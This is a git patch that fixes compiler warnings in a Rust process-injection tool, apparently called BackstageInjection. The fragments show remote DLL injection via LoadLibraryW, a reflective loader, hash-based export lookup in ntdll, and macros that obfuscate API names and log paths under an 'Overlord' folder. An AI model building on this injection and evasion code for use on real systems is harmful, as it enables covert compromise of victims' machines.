From ea22c83c37d47ffb7759ea66f07629dacc92b2a5 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 20 Aug 2026 10:25:33 -0500 Subject: [PATCH] fix warnings --- BackstageInjection-Rust/src/inject.rs | 5 ++-- BackstageInjection-Rust/src/log.rs | 32 +++++++++++------------ BackstageInjection-Rust/src/reflective.rs | 12 +-------- 3 files changed, 20 insertions(+), 29 deletions(-) diff --git a/BackstageInjection-Rust/src/inject.rs b/BackstageInjection-Rust/src/inject.rs index 90e3e18..84a3321 100644 --- a/BackstageInjection-Rust/src/inject.rs +++ b/BackstageInjection-Rust/src/inject.rs @@ -317,7 +317,8 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool { dbg_log!("inject: system dll not loaded — abort"); return false; } - let load_library_w = unsafe { abi::GetProcAddress(k32, obf!(b"LoadLibraryW").as_ptr()) }; + let load_library_name = obf!(b"LoadLibraryW"); + let load_library_w = unsafe { abi::GetProcAddress(k32, load_library_name.as_ptr()) }; if load_library_w == 0 { dbg_log!("inject: load-fn not found — abort"); return false; @@ -431,4 +432,4 @@ mod tests { assert!(offset > 0, "loader offset must be inside the image"); assert!((offset as usize) < dll.len()); } -} \ No newline at end of file +} diff --git a/BackstageInjection-Rust/src/log.rs b/BackstageInjection-Rust/src/log.rs index c9b0553..0e743eb 100644 --- a/BackstageInjection-Rust/src/log.rs +++ b/BackstageInjection-Rust/src/log.rs @@ -105,22 +105,22 @@ fn open_log() -> Option { fn log_paths() -> Option<(Vec, Vec, Vec)> { let env_name = obf16!(b"TEMP"); let mut temp = [0u16; 32768]; - unsafe { - let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32); - if len == 0 || len >= temp.len() as u32 { - return None; - } - let prefix = &temp[..len as usize]; - let base = concat_z(prefix, &obf16!(b"\\Overlord")); - let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage")); - let pid = abi::GetCurrentProcessId(); - let mut file = prefix.to_vec(); - file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-")); - append_pid(&mut file, pid); - file.extend_from_slice(&obf16!(b".log")); - file.push(0); - Some((base, dir, file)) + let len = unsafe { + abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32) + }; + if len == 0 || len >= temp.len() as u32 { + return None; } + let prefix = &temp[..len as usize]; + let base = concat_z(prefix, &obf16!(b"\\Overlord")); + let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage")); + let pid = unsafe { abi::GetCurrentProcessId() }; + let mut file = prefix.to_vec(); + file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-")); + append_pid(&mut file, pid); + file.extend_from_slice(&obf16!(b".log")); + file.push(0); + Some((base, dir, file)) } fn concat_z(prefix: &[u16], suffix: &[u16]) -> Vec { @@ -147,4 +147,4 @@ fn append_pid(v: &mut Vec, mut pid: u32) { n -= 1; v.push(digits[n]); } -} \ No newline at end of file +} diff --git a/BackstageInjection-Rust/src/reflective.rs b/BackstageInjection-Rust/src/reflective.rs index 8dbae25..991b1e5 100644 --- a/BackstageInjection-Rust/src/reflective.rs +++ b/BackstageInjection-Rust/src/reflective.rs @@ -84,16 +84,6 @@ unsafe fn wr_u8(p: usize, off: usize, v: u8) { core::ptr::write_volatile((p + off) as *mut u8, v); } -#[inline(always)] -unsafe fn wr_u16(p: usize, off: usize, v: u16) { - core::ptr::write_volatile((p + off) as *mut u16, v); -} - -#[inline(always)] -unsafe fn wr_u32(p: usize, off: usize, v: u32) { - core::ptr::write_volatile((p + off) as *mut u32, v); -} - #[inline(always)] unsafe fn wr_u64(p: usize, off: usize, v: u64) { core::ptr::write_volatile((p + off) as *mut u64, v); @@ -545,4 +535,4 @@ mod tests { assert_ne!(export_by_hash(ntdll, NTFLUSH_HASH), 0); } } -} \ No newline at end of file +}